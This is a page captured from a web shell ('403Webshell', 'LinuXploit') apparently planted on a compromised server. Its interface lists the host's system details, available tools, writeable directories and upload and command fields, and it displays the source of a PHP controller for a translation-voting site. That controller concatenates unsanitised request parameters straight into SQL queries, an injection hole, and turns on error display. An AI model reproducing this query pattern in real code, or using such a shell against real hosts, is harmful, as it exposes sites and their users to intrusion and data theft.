403Webshell
Server IP : 64.202.187.69  /  Your IP : 216.73.217.74
Web Server : Apache
System : Linux 69.187.202.64.host.secureserver.net 3.10.0-1160.144.1.el7.tuxcare.els6.x86_64 #1 SMP Fri May 29 16:22:24 UTC 2026 x86_64
User : transmarket ( 1001)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/transmarket/translator/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/transmarket/translator/controllers/get_voted_suggestion_history.php
<?php

/*
 * To change this license header, choose License Headers in Project Properties.
 * To change this template file, choose Tools | Templates
 * and open the template in the editor.
 */

include 'connection.php';
ini_set('memory_limit', '-1');

error_reporting(E_ALL);
ini_set('display_errors', 1);

$requestData = $_REQUEST;

$columns = array(
    0 => 'T2.suggested_text',
    1 => 'T1.voted_at',
);

//$sql = 'SELECT T1.*, T2.suggestion, T2.sentence_id, T2.is_winning, T3.is_open_for_voting, T3.original_message FROM `tbl_user_votes_tmn` as T1 LEFT JOIN tbl_user_suggestion_mapping as T2 on T1.suggestion_id = T2.id LEFT JOIN tbl_sentence as T3 on T2.sentence_id = T3.id  WHERE T1.user_id = ' . $_SESSION['tm_id'];

$sql = 'SELECT T1.*, T2.suggested_text, T2.sentence_id, T3.original_message, T3.voting_closed_at FROM `sentence_suggestion_voting_map` as T1 LEFT JOIN sentence_suggestion_map as T2 on T1.voted_translation_id = T2.id LEFT JOIN tbl_sentence as T3 on T2.sentence_id = T3.id  WHERE T1.user_id = ' . $_SESSION['tm_id'] . ' AND T1.is_success = 1 ';

if (!empty($requestData['search']['value'])) {   // if there is a search parameter, $requestData['search']['value'] contains search parameter
    $sql.=" and T2.suggested_text LIKE '" . $requestData['search']['value'] . "%' ";
}

$result = $mysqli->query($sql);

$totalData = $result->num_rows;
$totalFiltered = $totalData;

$sql.= " ORDER BY " . $columns[$requestData['order'][0]['column']] . " " . $requestData['order'][0]['dir'] . " LIMIT " . $requestData['start'] . " ," . $requestData['length'] . "   ";

$result = $mysqli->query($sql);
$data = array();

while ($row = $result->fetch_object()) {
    $nestedData = array();

    $nestedData[] = 'Original Message:
	<br><span>' . mb_convert_encoding(stripslashes($row->original_message), "HTML-ENTITIES", "UTF-8") . '</span>
	<br><br>Voted Suggestion:
	<br><span>' . mb_convert_encoding(stripslashes($row->suggested_text), "HTML-ENTITIES", "UTF-8") . '</span>';

	$status = '';
	
    /*if ($row->winning_credits > 0) {
        $status = '<span style="color:green;">+' . $row->winning_credits . ' TMN</span> ';
    } else if ($row->is_open_for_voting == 0) {
        $status = '<span style="background:white; border:1px solid red; padding: 3px 12px; color: red;">Sorry Try Again</span> ';
    } else {
        $status = '<span style="background:white; border:1px solid orange; padding: 3px 12px; color: orange;">Pending</span> ';
    }*/
	
	$sql_winning_voting = "SELECT id, winning_credits FROM winning_suggestion_voting_credits WHERE user_id = " . $_SESSION['tm_id'] . " AND credit_purpose = 2 AND sentence_id = " . $row->sentence_id ;
	$sql_winning_voting_result = $mysqli->query($sql_winning_voting);
	$winning_suggestion_count = $sql_winning_voting_result->num_rows;
	
	if ( $winning_suggestion_count > 0 ) {
		while ($row_winning_voting = $sql_winning_voting_result->fetch_object()) {
			$status = '<span style="color:green;">+' . $row_winning_voting->winning_credits . ' TMN</span> ';
		}        
    } else if ($row->voting_closed_at != '' && $row->voting_closed_at != null) {
        $status = '<span style="background:white; border:1px solid red; padding: 3px 12px; color: red;">Sorry Try Again</span> ';
    } else {
        $status = '<span style="background:white; border:1px solid orange; padding: 3px 12px; color: orange;">Pending</span> ';
    }
	
	$nestedData[] = $status.'<br><br><span class="date">' . date('M d, Y', strtotime($row->voted_at)) . '</span>';
	
    $data[] = $nestedData;
}

$json_data = array(
    "draw" => intval($requestData['draw']), // for every request/draw by clientside , they send a number as a parameter, when they recieve a response/data they first check the draw number, so we are sending same number in draw. 
    "recordsTotal" => intval($totalData), // total number of records
    "recordsFiltered" => intval($totalFiltered), // total number of records after searching, if there is no searching then totalFiltered = totalData
    "data" => $data, // total data array
    "data1" => $requestData['start'], // total data array
    "data2" => $requestData['length'], // total data array
);

echo json_encode($json_data);  // send data as json format

Youez - 2016 - github.com/yon3zu
LinuXploit